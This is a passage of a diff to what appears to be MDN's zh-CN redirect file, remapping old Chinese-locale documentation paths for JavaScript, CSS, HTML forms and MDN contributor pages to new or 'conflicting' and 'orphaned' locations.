/zh-CN/docs/Web/JavaScript/Reference/Global_Objects/String/concat /zh-CN/docs/JS-ref/String/contains /zh-CN/docs/Web/JavaScript/Reference/Global_Objects/String/includes /zh-CN/docs/JS-ref/String/endsWith /zh-CN/docs/Web/JavaScript/Reference/Global_Objects/String/endsWith @@ -842,14 +893,14 @@ /zh-CN/docs/JSDBGAPI_参考 /zh-CN/docs/JSDBGAPI_Reference /zh-CN/docs/JavaScript /zh-CN/docs/Web/JavaScript /zh-CN/docs/JavaScript-840092-dup /zh-CN/docs/Web/JavaScript -/zh-CN/docs/JavaScript-840092-dup/Introduction_to_Object-Oriented_JavaScript /zh-CN/docs/Web/JavaScript/Introduction_to_Object-Oriented_JavaScript +/zh-CN/docs/JavaScript-840092-dup/Introduction_to_Object-Oriented_JavaScript /zh-CN/docs/conflicting/Learn/JavaScript/Objects /zh-CN/docs/JavaScript/A_re-introduction_to_JavaScript /zh-CN/docs/Web/JavaScript/A_re-introduction_to_JavaScript /zh-CN/docs/JavaScript/Data_structures /zh-CN/docs/Web/JavaScript/Data_structures /zh-CN/docs/JavaScript/ECMAScript_6_support_in_Mozilla /zh-CN/docs/Web/JavaScript/New_in_JavaScript/ECMAScript_6_support_in_Mozilla -/zh-CN/docs/JavaScript/Getting_Started /zh-CN/docs/Web/JavaScript/Getting_Started +/zh-CN/docs/JavaScript/Getting_Started /zh-CN/docs/conflicting/Learn/Getting_started_with_the_web/JavaScript_basics /zh-CN/docs/JavaScript/Guide /zh-CN/docs/Web/JavaScript/Guide /zh-CN/docs/JavaScript/Guide-redirect-1 /zh-CN/docs/Web/JavaScript/Guide -/zh-CN/docs/JavaScript/Guide/About /zh-CN/docs/Web/JavaScript/Guide/About +/zh-CN/docs/JavaScript/Guide/About /zh-CN/docs/conflicting/Web/JavaScript/Guide/Introduction /zh-CN/docs/JavaScript/Guide/Closures /zh-CN/docs/Web/JavaScript/Closures /zh-CN/docs/JavaScript/Guide/Details_of_the_Object_Model /zh-CN/docs/Web/JavaScript/Guide/Details_of_the_Object_Model /zh-CN/docs/JavaScript/Guide/Expressions_and_Operators /zh-CN/docs/Web/JavaScript/Guide/Expressions_and_Operators @@ -857,7 +908,7 @@ /zh-CN/docs/JavaScript/Guide/Inheritance_Revisited /zh-CN/docs/Web/JavaScript/Inheritance_and_the_prototype_chain /zh-CN/docs/JavaScript/Guide/Inheritance_and_the_prototype_chain /zh-CN/docs/Web/JavaScript/Inheritance_and_the_prototype_chain /zh-CN/docs/JavaScript/Guide/Iterators_and_Generators /zh-CN/docs/Web/JavaScript/Guide/Iterators_and_Generators -/zh-CN/docs/JavaScript/Guide/JavaScript_Overview /zh-CN/docs/Web/JavaScript/Guide/JavaScript_Overview +/zh-CN/docs/JavaScript/Guide/JavaScript_Overview /zh-CN/docs/conflicting/Web/JavaScript/Guide/Introduction_6f341ba6db4b060ccbd8dce4a0d5214b /zh-CN/docs/JavaScript/Guide/Predefined_Core_Objects /zh-CN/docs/Web/JavaScript/Guide /zh-CN/docs/JavaScript/Guide/Regular_Expressions /zh-CN/docs/Web/JavaScript/Guide/Regular_Expressions /zh-CN/docs/JavaScript/Guide/Sameness /zh-CN/docs/Web/JavaScript/Equality_comparisons_and_sameness @@ -866,7 +917,7 @@ /zh-CN/docs/JavaScript/Guide/Values,_variables,_and_literals /zh-CN/docs/Web/JavaScript/Guide/Grammar_and_types /zh-CN/docs/JavaScript/Guide/Working_with_Objects /zh-CN/docs/Web/JavaScript/Guide/Working_with_Objects /zh-CN/docs/JavaScript/Guide/闭包 /zh-CN/docs/Web/JavaScript/Closures -/zh-CN/docs/JavaScript/Introduction_to_Object-Oriented_JavaScript /zh-CN/docs/Web/JavaScript/Introduction_to_Object-Oriented_JavaScript +/zh-CN/docs/JavaScript/Introduction_to_Object-Oriented_JavaScript /zh-CN/docs/conflicting/Learn/JavaScript/Objects /zh-CN/docs/JavaScript/JavaScript_technologies_overview /zh-CN/docs/Web/JavaScript/JavaScript_technologies_overview /zh-CN/docs/JavaScript/JavaScript中的新特性 /zh-CN/docs/Web/JavaScript/New_in_JavaScript /zh-CN/docs/JavaScript/JavaScript中的新特性/1.7 /zh-CN/docs/Web/JavaScript/New_in_JavaScript/1.7 @@ -892,14 +943,14 @@ /zh-CN/docs/JavaScript/Reference/Array/length /zh-CN/docs/Web/JavaScript/Reference/Global_Objects/Array/length /zh-CN/docs/JavaScript/Reference/Array/map /zh-CN/docs/Web/JavaScript/Reference/Global_Objects/Array/map /zh-CN/docs/JavaScript/Reference/Array/pop /zh-CN/docs/Web/JavaScript/Reference/Global_Objects/Array/pop -/zh-CN/docs/JavaScript/Reference/Array/prototype /zh-CN/docs/Web/JavaScript/Reference/Global_Objects/Array/prototype +/zh-CN/docs/JavaScript/Reference/Array/prototype /zh-CN/docs/orphaned/Web/JavaScript/Reference/Global_Objects/Array/prototype /zh-CN/docs/JavaScript/Reference/Array/shift /zh-CN/docs/Web/JavaScript/Reference/Global_Objects/Array/shift /zh-CN/docs/JavaScript/Reference/Array/slice /zh-CN/docs/Web/JavaScript/Reference/Global_Objects/Array/slice /zh-CN/docs/JavaScript/Reference/Array/some /zh-CN/docs/Web/JavaScript/Reference/Global_Objects/Array/some /zh-CN/docs/JavaScript/Reference/Array/toSource /zh-CN/docs/Web/JavaScript/Reference/Global_Objects/Array/toSource /zh-CN/docs/JavaScript/Reference/Array/unshift /zh-CN/docs/Web/JavaScript/Reference/Global_Objects/Array/unshift /zh-CN/docs/JavaScript/Reference/Boolean /zh-CN/docs/Web/JavaScript/Reference/Global_Objects/Boolean -/zh-CN/docs/JavaScript/Reference/Boolean/prototype /zh-CN/docs/Web/JavaScript/Reference/Global_Objects/Boolean/prototype +/zh-CN/docs/JavaScript/Reference/Boolean/prototype /zh-CN/docs/conflicting/Web/JavaScript/Reference/Global_Objects/Boolean /zh-CN/docs/JavaScript/Reference/Date /zh-CN/docs/Web/JavaScript/Reference/Global_Objects/Date /zh-CN/docs/JavaScript/Reference/Date/getDate /zh-CN/docs/Web/JavaScript/Reference/Global_Objects/Date/getDate /zh-CN/docs/JavaScript/Reference/Date/getDay /zh-CN/docs/Web/JavaScript/Reference/Global_Objects/Date/getDay @@ -939,14 +990,14 @@ /zh-CN/docs/JavaScript/Reference/Global_Objects/Array/length /zh-CN/docs/Web/JavaScript/Reference/Global_Objects/Array/length /zh-CN/docs/JavaScript/Reference/Global_Objects/Array/map /zh-CN/docs/Web/JavaScript/Reference/Global_Objects/Array/map /zh-CN/docs/JavaScript/Reference/Global_Objects/Array/pop /zh-CN/docs/Web/JavaScript/Reference/Global_Objects/Array/pop -/zh-CN/docs/JavaScript/Reference/Global_Objects/Array/prototype /zh-CN/docs/Web/JavaScript/Reference/Global_Objects/Array/prototype +/zh-CN/docs/JavaScript/Reference/Global_Objects/Array/prototype /zh-CN/docs/orphaned/Web/JavaScript/Reference/Global_Objects/Array/prototype /zh-CN/docs/JavaScript/Reference/Global_Objects/Array/shift /zh-CN/docs/Web/JavaScript/Reference/Global_Objects/Array/shift /zh-CN/docs/JavaScript/Reference/Global_Objects/Array/slice /zh-CN/docs/Web/JavaScript/Reference/Global_Objects/Array/slice /zh-CN/docs/JavaScript/Reference/Global_Objects/Array/some /zh-CN/docs/Web/JavaScript/Reference/Global_Objects/Array/some /zh-CN/docs/JavaScript/Reference/Global_Objects/Array/toSource /zh-CN/docs/Web/JavaScript/Reference/Global_Objects/Array/toSource /zh-CN/docs/JavaScript/Reference/Global_Objects/Array/unshift /zh-CN/docs/Web/JavaScript/Reference/Global_Objects/Array/unshift /zh-CN/docs/JavaScript/Reference/Global_Objects/Boolean /zh-CN/docs/Web/JavaScript/Reference/Global_Objects/Boolean -/zh-CN/docs/JavaScript/Reference/Global_Objects/Boolean/prototype /zh-CN/docs/Web/JavaScript/Reference/Global_Objects/Boolean/prototype +/zh-CN/docs/JavaScript/Reference/Global_Objects/Boolean/prototype /zh-CN/docs/conflicting/Web/JavaScript/Reference/Global_Objects/Boolean /zh-CN/docs/JavaScript/Reference/Global_Objects/Date /zh-CN/docs/Web/JavaScript/Reference/Global_Objects/Date /zh-CN/docs/JavaScript/Reference/Global_Objects/Date/getDate /zh-CN/docs/Web/JavaScript/Reference/Global_Objects/Date/getDate /zh-CN/docs/JavaScript/Reference/Global_Objects/Date/getDay /zh-CN/docs/Web/JavaScript/Reference/Global_Objects/Date/getDay @@ -1036,26 +1087,26 @@ /zh-CN/docs/JavaScript/Reference/Global_Objects/Object/preventExtensions/Global_Objects /zh-CN/docs/Web/JavaScript/Reference/Global_Objects/Object/isFrozen /zh-CN/docs/JavaScript/Reference/Global_Objects/Object/propertyIsEnumerable /zh-CN/docs/Web/JavaScript/Reference/Global_Objects/Object/propertyIsEnumerable /zh-CN/docs/JavaScript/Reference/Global_Objects/Object/proto /zh-CN/docs/Web/JavaScript/Reference/Global_Objects/Object/proto -/zh-CN/docs/JavaScript/Reference/Global_Objects/Object/prototype /zh-CN/docs/Web/JavaScript/Reference/Global_Objects/Object/prototype +/zh-CN/docs/JavaScript/Reference/Global_Objects/Object/prototype /zh-CN/docs/conflicting/Web/JavaScript/Reference/Global_Objects/Object /zh-CN/docs/JavaScript/Reference/Global_Objects/Object/seal /zh-CN/docs/Web/JavaScript/Reference/Global_Objects/Object/seal /zh-CN/docs/JavaScript/Reference/Global_Objects/Object/setPrototypeOf /zh-CN/docs/Web/JavaScript/Reference/Global_Objects/Object/setPrototypeOf /zh-CN/docs/JavaScript/Reference/Global_Objects/Object/toSource /zh-CN/docs/Web/JavaScript/Reference/Global_Objects/Object/toSource /zh-CN/docs/JavaScript/Reference/Global_Objects/Object/toString /zh-CN/docs/Web/JavaScript/Reference/Global_Objects/Object/toString /zh-CN/docs/JavaScript/Reference/Global_Objects/Object/valueOf /zh-CN/docs/Web/JavaScript/Reference/Global_Objects/Object/valueOf /zh-CN/docs/JavaScript/Reference/Global_Objects/Object/watch /zh-CN/docs/Web/JavaScript/Reference/Global_Objects/Object/watch -/zh-CN/docs/JavaScript/Reference/Global_Objects/Object/原型 /zh-CN/docs/Web/JavaScript/Reference/Global_Objects/Object/prototype +/zh-CN/docs/JavaScript/Reference/Global_Objects/Object/原型 /zh-CN/docs/conflicting/Web/JavaScript/Reference/Global_Objects/Object /zh-CN/docs/JavaScript/Reference/Global_Objects/ParallelArray /zh-CN/docs/Web/JavaScript/Reference/Global_Objects/ParallelArray /zh-CN/docs/JavaScript/Reference/Global_Objects/Proxy /zh-CN/docs/Web/JavaScript/Reference/Global_Objects/Proxy /zh-CN/docs/JavaScript/Reference/Global_Objects/RegExp /zh-CN/docs/Web/JavaScript/Reference/Global_Objects/RegExp /zh-CN/docs/JavaScript/Reference/Global_Objects/RegExp/exec /zh-CN/docs/Web/JavaScript/Reference/Global_Objects/RegExp/exec /zh-CN/docs/JavaScript/Reference/Global_Objects/RegExp/lastIndex /zh-CN/docs/Web/JavaScript/Reference/Global_Objects/RegExp/lastIndex -/zh-CN/docs/JavaScript/Reference/Global_Objects/RegExp/prototype /zh-CN/docs/Web/JavaScript/Reference/Global_Objects/RegExp/prototype +/zh-CN/docs/JavaScript/Reference/Global_Objects/RegExp/prototype /zh-CN/docs/conflicting/Web/JavaScript/Reference/Global_Objects/RegExp /zh-CN/docs/JavaScript/Reference/Global_Objects/RegExp/toSource /zh-CN/docs/Web/JavaScript/Reference/Global_Objects/RegExp/toSource /zh-CN/docs/JavaScript/Reference/Global_Objects/Set /zh-CN/docs/Web/JavaScript/Reference/Global_Objects/Set /zh-CN/docs/JavaScript/Reference/Global_Objects/String /zh-CN/docs/Web/JavaScript/Reference/Global_Objects/String /zh-CN/docs/JavaScript/Reference/Global_Objects/String/Trim /zh-CN/docs/Web/JavaScript/Reference/Global_Objects/String/Trim -/zh-CN/docs/JavaScript/Reference/Global_Objects/String/TrimLeft /zh-CN/docs/Web/JavaScript/Reference/Global_Objects/String/TrimLeft -/zh-CN/docs/JavaScript/Reference/Global_Objects/String/TrimRight /zh-CN/docs/Web/JavaScript/Reference/Global_Objects/String/TrimRight +/zh-CN/docs/JavaScript/Reference/Global_Objects/String/TrimLeft /zh-CN/docs/Web/JavaScript/Reference/Global_Objects/String/trimStart +/zh-CN/docs/JavaScript/Reference/Global_Objects/String/TrimRight /zh-CN/docs/Web/JavaScript/Reference/Global_Objects/String/trimEnd /zh-CN/docs/JavaScript/Reference/Global_Objects/String/concat /zh-CN/docs/Web/JavaScript/Reference/Global_Objects/String/concat /zh-CN/docs/JavaScript/Reference/Global_Objects/String/contains /zh-CN/docs/Web/JavaScript/Reference/Global_Objects/String/includes /zh-CN/docs/JavaScript/Reference/Global_Objects/String/endsWith /zh-CN/docs/Web/JavaScript/Reference/Global_Objects/String/endsWith @@ -1070,7 +1121,7 @@ /zh-CN/docs/JavaScript/Reference/Global_Objects/String/toUpperCase /zh-CN/docs/Web/JavaScript/Reference/Global_Objects/String/toUpperCase /zh-CN/docs/JavaScript/Reference/Global_Objects/WeakMap /zh-CN/docs/Web/JavaScript/Reference/Global_Objects/WeakMap /zh-CN/docs/JavaScript/Reference/Global_Objects/WeakSet /zh-CN/docs/Web/JavaScript/Reference/Global_Objects/WeakSet -/zh-CN/docs/JavaScript/Reference/Global_Objects/WeakSet/prototype /zh-CN/docs/Web/JavaScript/Reference/Global_Objects/WeakSet/prototype +/zh-CN/docs/JavaScript/Reference/Global_Objects/WeakSet/prototype /zh-CN/docs/conflicting/Web/JavaScript/Reference/Global_Objects/WeakSet /zh-CN/docs/JavaScript/Reference/Global_Objects/decodeURI /zh-CN/docs/Web/JavaScript/Reference/Global_Objects/decodeURI /zh-CN/docs/JavaScript/Reference/Global_Objects/isFinite /zh-CN/docs/Web/JavaScript/Reference/Global_Objects/isFinite /zh-CN/docs/JavaScript/Reference/Global_Objects/null /zh-CN/docs/Web/JavaScript/Reference/Global_Objects/null @@ -1078,7 +1129,7 @@ /zh-CN/docs/JavaScript/Reference/Global_Objects/undefined /zh-CN/docs/Web/JavaScript/Reference/Global_Objects/undefined /zh-CN/docs/JavaScript/Reference/Map /zh-CN/docs/Web/JavaScript/Reference/Global_Objects/Map /zh-CN/docs/JavaScript/Reference/Operators /zh-CN/docs/Web/JavaScript/Reference/Operators -/zh-CN/docs/JavaScript/Reference/Operators/Logical_Operators /zh-CN/docs/Web/JavaScript/Reference/Operators/Logical_Operators +/zh-CN/docs/JavaScript/Reference/Operators/Logical_Operators /zh-CN/docs/conflicting/Web/JavaScript/Reference/Operators_f71733c8e7001a29c3ec40d8522a4aca /zh-CN/docs/JavaScript/Reference/Operators/Operator_Precedence /zh-CN/docs/Web/JavaScript/Reference/Operators/Operator_Precedence /zh-CN/docs/JavaScript/Reference/Operators/delete /zh-CN/docs/Web/JavaScript/Reference/Operators/delete /zh-CN/docs/JavaScript/Reference/Operators/in /zh-CN/docs/Web/JavaScript/Reference/Operators/in @@ -1089,7 +1140,7 @@ /zh-CN/docs/JavaScript/Reference/RegExp /zh-CN/docs/Web/JavaScript/Reference/Global_Objects/RegExp /zh-CN/docs/JavaScript/Reference/RegExp/exec /zh-CN/docs/Web/JavaScript/Reference/Global_Objects/RegExp/exec /zh-CN/docs/JavaScript/Reference/RegExp/lastIndex /zh-CN/docs/Web/JavaScript/Reference/Global_Objects/RegExp/lastIndex -/zh-CN/docs/JavaScript/Reference/RegExp/prototype /zh-CN/docs/Web/JavaScript/Reference/Global_Objects/RegExp/prototype +/zh-CN/docs/JavaScript/Reference/RegExp/prototype /zh-CN/docs/conflicting/Web/JavaScript/Reference/Global_Objects/RegExp /zh-CN/docs/JavaScript/Reference/RegExp/toSource /zh-CN/docs/Web/JavaScript/Reference/Global_Objects/RegExp/toSource /zh-CN/docs/JavaScript/Reference/Spread_operator /en-US/docs/Web/JavaScript/Reference/Operators/Spread_syntax /zh-CN/docs/JavaScript/Reference/Statements /zh-CN/docs/Web/JavaScript/Reference/Statements @@ -1104,8 +1155,8 @@ /zh-CN/docs/JavaScript/Reference/Statements/let /zh-CN/docs/Web/JavaScript/Reference/Statements/let /zh-CN/docs/JavaScript/Reference/String /zh-CN/docs/Web/JavaScript/Reference/Global_Objects/String /zh-CN/docs/JavaScript/Reference/String/Trim /zh-CN/docs/Web/JavaScript/Reference/Global_Objects/String/Trim -/zh-CN/docs/JavaScript/Reference/String/TrimLeft /zh-CN/docs/Web/JavaScript/Reference/Global_Objects/String/TrimLeft -/zh-CN/docs/JavaScript/Reference/String/TrimRight /zh-CN/docs/Web/JavaScript/Reference/Global_Objects/String/TrimRight +/zh-CN/docs/JavaScript/Reference/String/TrimLeft /zh-CN/docs/Web/JavaScript/Reference/Global_Objects/String/trimStart +/zh-CN/docs/JavaScript/Reference/String/TrimRight /zh-CN/docs/Web/JavaScript/Reference/Global_Objects/String/trimEnd /zh-CN/docs/JavaScript/Reference/String/concat /zh-CN/docs/Web/JavaScript/Reference/Global_Objects/String/concat /zh-CN/docs/JavaScript/Reference/String/contains /zh-CN/docs/Web/JavaScript/Reference/Global_Objects/String/includes /zh-CN/docs/JavaScript/Reference/String/endsWith /zh-CN/docs/Web/JavaScript/Reference/Global_Objects/String/endsWith @@ -1139,7 +1190,12 @@ /zh-CN/docs/JavaScript的同源策略 /zh-CN/docs/Web/Security/Same-origin_policy /zh-CN/docs/JavaScript语言资源 /zh-CN/docs/Web/JavaScript/Language_Resources /zh-CN/docs/Learn/CSS/Building_blocks/Advanced_box_effects /zh-CN/docs/Learn/CSS/Building_blocks/Advanced_styling_effects +/zh-CN/docs/Learn/CSS/Building_blocks/处理_不同_方向的_文本 /zh-CN/docs/Learn/CSS/Building_blocks/Handling_different_text_directions +/zh-CN/docs/Learn/CSS/CSS_layout/传统的布局方法 /zh-CN/docs/Learn/CSS/CSS_layout/Legacy_Layout_Methods +/zh-CN/docs/Learn/CSS/CSS_layout/定位 /zh-CN/docs/Learn/CSS/CSS_layout/Positioning /zh-CN/docs/Learn/CSS/CSS_layout/网格 /zh-CN/docs/Learn/CSS/CSS_layout/Grids +/zh-CN/docs/Learn/CSS/First_steps/CSS如何运行 /zh-CN/docs/Learn/CSS/First_steps/How_CSS_works +/zh-CN/docs/Learn/CSS/First_steps/开始 /zh-CN/docs/Learn/CSS/First_steps/Getting_started /zh-CN/docs/Learn/CSS/Introduction_to_CSS /en-US/docs/Learn/CSS/First_steps /zh-CN/docs/Learn/CSS/Introduction_to_CSS/Attribute_selectors /en-US/docs/Learn/CSS/Building_blocks/Selectors/Attribute_selectors /zh-CN/docs/Learn/CSS/Introduction_to_CSS/Box_model /en-US/docs/Learn/CSS/Building_blocks/The_box_model @@ -1147,6 +1203,7 @@ /zh-CN/docs/Learn/CSS/Introduction_to_CSS/Cascade_and_inheritance /en-US/docs/Learn/CSS/Building_blocks/Cascade_and_inheritance /zh-CN/docs/Learn/CSS/Introduction_to_CSS/Combinators_and_multiple_selectors /en-US/docs/Learn/CSS/Building_blocks/Selectors/Combinators /zh-CN/docs/Learn/CSS/Introduction_to_CSS/Debugging_CSS /en-US/docs/Learn/CSS/Building_blocks/Debugging_CSS +/zh-CN/docs/Learn/CSS/Introduction_to_CSS/Fundamental_CSS_comprehension /zh-CN/docs/Learn/CSS/Building_blocks/Fundamental_CSS_comprehension /zh-CN/docs/Learn/CSS/Introduction_to_CSS/How_CSS_works /en-US/docs/Learn/CSS/First_steps/How_CSS_works /zh-CN/docs/Learn/CSS/Introduction_to_CSS/Pseudo-classes_and_pseudo-elements /en-US/docs/Learn/CSS/Building_blocks/Selectors/Pseudo-classes_and_pseudo-elements /zh-CN/docs/Learn/CSS/Introduction_to_CSS/Selectors /en-US/docs/Learn/CSS/Building_blocks/Selectors @@ -1155,43 +1212,102 @@ /zh-CN/docs/Learn/CSS/Introduction_to_CSS/Values_and_units /en-US/docs/Learn/CSS/Building_blocks/Values_and_units /zh-CN/docs/Learn/CSS/Introduction_to_CSS/语法 /en-US/docs/Learn/CSS/First_steps/How_CSS_is_structured /zh-CN/docs/Learn/CSS/Styling_boxes /en-US/docs/Learn/CSS/Building_blocks +/zh-CN/docs/Learn/CSS/Styling_boxes/A_cool_looking_box /zh-CN/docs/Learn/CSS/Building_blocks/A_cool_looking_box /zh-CN/docs/Learn/CSS/Styling_boxes/Advanced_box_effects /zh-CN/docs/Learn/CSS/Building_blocks/Advanced_styling_effects /zh-CN/docs/Learn/CSS/Styling_boxes/Borders /en-US/docs/Learn/CSS/Building_blocks/Backgrounds_and_borders /zh-CN/docs/Learn/CSS/Styling_boxes/Box_model_recap /en-US/docs/Learn/CSS/Building_blocks/The_box_model +/zh-CN/docs/Learn/CSS/Styling_boxes/Creating_fancy_letterheaded_paper /zh-CN/docs/Learn/CSS/Building_blocks/Creating_fancy_letterheaded_paper /zh-CN/docs/Learn/CSS/Styling_boxes/Styling_tables /zh-CN/docs/Learn/CSS/Building_blocks/Styling_tables -/zh-CN/docs/Learn/CSS/Styling_boxes/创建精美的信纸 /zh-CN/docs/Learn/CSS/Styling_boxes/Creating_fancy_letterheaded_paper +/zh-CN/docs/Learn/CSS/Styling_boxes/创建精美的信纸 /zh-CN/docs/Learn/CSS/Building_blocks/Creating_fancy_letterheaded_paper /zh-CN/docs/Learn/CSS/Styling_boxes/背景 /en-US/docs/Learn/CSS/Building_blocks/Backgrounds_and_borders +/zh-CN/docs/Learn/CSS/为文本添加样式 /zh-CN/docs/Learn/CSS/Styling_text +/zh-CN/docs/Learn/CSS/为文本添加样式/Fundamentals /zh-CN/docs/Learn/CSS/Styling_text/Fundamentals +/zh-CN/docs/Learn/CSS/为文本添加样式/Styling_links /zh-CN/docs/Learn/CSS/Styling_text/Styling_links +/zh-CN/docs/Learn/CSS/为文本添加样式/Styling_lists /zh-CN/docs/Learn/CSS/Styling_text/Styling_lists +/zh-CN/docs/Learn/CSS/为文本添加样式/Typesetting_a_homepage /zh-CN/docs/Learn/CSS/Styling_text/Typesetting_a_homepage +/zh-CN/docs/Learn/CSS/为文本添加样式/Web_字体 /zh-CN/docs/Learn/CSS/Styling_text/Web_fonts +/zh-CN/docs/Learn/Common_questions/实用文本编辑器 /zh-CN/docs/Learn/Common_questions/Available_text_editors /zh-CN/docs/Learn/Common_questions/网页,网站,网页服务器和搜索引擎的区别是什么? /zh-CN/docs/Learn/Common_questions/Pages_sites_servers_and_search_engines +/zh-CN/docs/Learn/Discover_browser_developer_tools /zh-CN/docs/Learn/Common_questions/What_are_browser_developer_tools /zh-CN/docs/Learn/Getting_started_with_the_web/CSS_基础 /zh-CN/docs/Learn/Getting_started_with_the_web/CSS_basics /zh-CN/docs/Learn/Getting_started_with_the_web/你的网页将呈现什么样子? /zh-CN/docs/Learn/Getting_started_with_the_web/What_will_your_website_look_like /zh-CN/docs/Learn/Getting_started_with_the_web/网络是如何工作的 /zh-CN/docs/Learn/Getting_started_with_the_web/How_the_Web_works -/zh-CN/docs/Learn/HTML/Forms/My_first_HTML_form /zh-CN/docs/Learn/HTML/Forms/Your_first_HTML_form +/zh-CN/docs/Learn/HTML/Forms /zh-CN/docs/Learn/Forms +/zh-CN/docs/Learn/HTML/Forms/Advanced_styling_for_HTML_forms /zh-CN/docs/Learn/Forms/Advanced_form_styling +/zh-CN/docs/Learn/HTML/Forms/Data_form_validation /zh-CN/docs/Learn/Forms/Form_validation +/zh-CN/docs/Learn/HTML/Forms/HTML_forms_in_legacy_browsers /zh-CN/docs/Learn/Forms/HTML_forms_in_legacy_browsers +/zh-CN/docs/Learn/HTML/Forms/How_to_build_custom_form_widgets /zh-CN/docs/Learn/Forms/How_to_build_custom_form_controls +/zh-CN/docs/Learn/HTML/Forms/How_to_build_custom_form_widgets/Example_1 /zh-CN/docs/Learn/Forms/How_to_build_custom_form_controls/Example_1 +/zh-CN/docs/Learn/HTML/Forms/How_to_build_custom_form_widgets/Example_2 /zh-CN/docs/Learn/Forms/How_to_build_custom_form_controls/Example_2 +/zh-CN/docs/Learn/HTML/Forms/How_to_build_custom_form_widgets/Example_3 /zh-CN/docs/Learn/Forms/How_to_build_custom_form_controls/Example_3 +/zh-CN/docs/Learn/HTML/Forms/How_to_build_custom_form_widgets/Example_4 /zh-CN/docs/Learn/Forms/How_to_build_custom_form_controls/Example_4 +/zh-CN/docs/Learn/HTML/Forms/How_to_structure_an_HTML_form /zh-CN/docs/Learn/Forms/How_to_structure_a_web_form +/zh-CN/docs/Learn/HTML/Forms/My_first_HTML_form /zh-CN/docs/Learn/Forms/Your_first_form +/zh-CN/docs/Learn/HTML/Forms/Property_compatibility_table_for_form_widgets /zh-CN/docs/Learn/Forms/Property_compatibility_table_for_form_controls +/zh-CN/docs/Learn/HTML/Forms/Sending_and_retrieving_form_data /zh-CN/docs/Learn/Forms/Sending_and_retrieving_form_data +/zh-CN/docs/Learn/HTML/Forms/Sending_forms_through_JavaScript /zh-CN/docs/Learn/Forms/Sending_forms_through_JavaScript +/zh-CN/docs/Learn/HTML/Forms/Styling_HTML_forms /zh-CN/docs/Learn/Forms/Styling_web_forms +/zh-CN/docs/Learn/HTML/Forms/The_native_form_widgets /zh-CN/docs/Learn/Forms/Basic_native_form_controls +/zh-CN/docs/Learn/HTML/Forms/Your_first_HTML_form /zh-CN/docs/Learn/Forms/Your_first_form +/zh-CN/docs/Learn/HTML/Multimedia_and_embedding/其他嵌入技术 /zh-CN/docs/Learn/HTML/Multimedia_and_embedding/Other_embedding_technologies /zh-CN/docs/Learn/HTML/Multimedia_and_embedding/在网页中添加矢量图形 /zh-CN/docs/Learn/HTML/Multimedia_and_embedding/Adding_vector_graphics_to_the_Web /zh-CN/docs/Learn/JavaScript/First_steps/变量 /zh-CN/docs/Learn/JavaScript/First_steps/Variables /zh-CN/docs/Learn/JavaScript/First_steps/第一点 /zh-CN/docs/Learn/JavaScript/First_steps/A_first_splash +/zh-CN/docs/Learn/JavaScript/Objects/向“弹跳球”演示程序添加新功能 /zh-CN/docs/Learn/JavaScript/Objects/Adding_bouncing_balls_features +/zh-CN/docs/Learn/JavaScript/Objects/测试你的技能:面向对象的Javascript /zh-CN/docs/Learn/JavaScript/Objects/Test_your_skills:_Object-oriented_JavaScript +/zh-CN/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/介绍 /zh-CN/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Introduction /zh-CN/docs/Learn/Tools_and_testing/Cross_browser_testing/介绍 /zh-CN/docs/Learn/Tools_and_testing/Cross_browser_testing/Introduction +/zh-CN/docs/Learn/Tools_and_testing/Cross_browser_testing/可访问性 /zh-CN/docs/Learn/Tools_and_testing/Cross_browser_testing/Accessibility +/zh-CN/docs/Learn/Tools_and_testing/Cross_browser_testing/测试策略 /zh-CN/docs/Learn/Tools_and_testing/Cross_browser_testing/Testing_strategies /zh-CN/docs/Learn/Tools_and_testing/跨服务器测试 /zh-CN/docs/Learn/Tools_and_testing/Cross_browser_testing /zh-CN/docs/Learn/Tools_and_testing/跨服务器测试/Automated_testing /zh-CN/docs/Learn/Tools_and_testing/Cross_browser_testing/Automated_testing /zh-CN/docs/Learn/Tools_and_testing/跨服务器测试/HTML_and_CSS /zh-CN/docs/Learn/Tools_and_testing/Cross_browser_testing/HTML_and_CSS /zh-CN/docs/Learn/Tools_and_testing/跨服务器测试/Your_own_automation_environment /zh-CN/docs/Learn/Tools_and_testing/Cross_browser_testing/Your_own_automation_environment +/zh-CN/docs/Learn/tutorial /zh-CN/docs/conflicting/Learn_30ccce5e65b5ce795fc2e288fe9d012b +/zh-CN/docs/Learn/tutorial/How_to_build_a_web_site /zh-CN/docs/conflicting/Learn +/zh-CN/docs/Localization /zh-CN/docs/Glossary/Localization +/zh-CN/docs/MDC:怎样进行帮助 /zh-CN/docs/conflicting/MDN/Contribute /zh-CN/docs/MDN/CSS /zh-CN/docs/Web/JavaScript/Reference/Global_Objects/Object/defineProperties +/zh-CN/docs/MDN/Community /zh-CN/docs/orphaned/MDN/Community +/zh-CN/docs/MDN/Community/Conversations /zh-CN/docs/orphaned/MDN/Community/Conversations +/zh-CN/docs/MDN/Community/Doc_sprints /zh-CN/docs/orphaned/MDN/Community/Doc_sprints +/zh-CN/docs/MDN/Community/Whats_happening /zh-CN/docs/orphaned/MDN/Community/Whats_happening +/zh-CN/docs/MDN/Community/在社区工作 /zh-CN/docs/orphaned/MDN/Community/Working_in_community /zh-CN/docs/MDN/Contribute/Content /zh-CN/docs/MDN/Guidelines /zh-CN/docs/MDN/Contribute/Content/CSS_style_guide /zh-CN/docs/MDN/Guidelines/CSS_style_guide -/zh-CN/docs/MDN/Contribute/Content/Content_blocks /zh-CN/docs/MDN/Guidelines/Content_blocks -/zh-CN/docs/MDN/Contribute/Content/Custom_macros /zh-CN/docs/MDN/Structures/Macros/Custom_macros +/zh-CN/docs/MDN/Contribute/Content/Content_blocks /zh-CN/docs/conflicting/MDN/Guidelines/CSS_style_guide +/zh-CN/docs/MDN/Contribute/Content/Custom_macros /zh-CN/docs/MDN/Structures/Macros/Commonly-used_macros /zh-CN/docs/MDN/Contribute/Content/Layout /zh-CN/docs/MDN/Guidelines/Layout -/zh-CN/docs/MDN/Contribute/Content/Rules_Of_MDN_Documenting /zh-CN/docs/MDN/Guidelines/Rules_Of_MDN_Documenting -/zh-CN/docs/MDN/Contribute/Content/Style_guide /zh-CN/docs/MDN/Guidelines/Style_guide +/zh-CN/docs/MDN/Contribute/Content/Rules_Of_MDN_Documenting /zh-CN/docs/MDN/Guidelines/Does_this_belong_on_MDN +/zh-CN/docs/MDN/Contribute/Content/Style_guide /zh-CN/docs/MDN/Guidelines/Writing_style_guide /zh-CN/docs/MDN/Contribute/Howto/Compatibility_tables /zh-CN/docs/MDN/Structures/Compatibility_tables 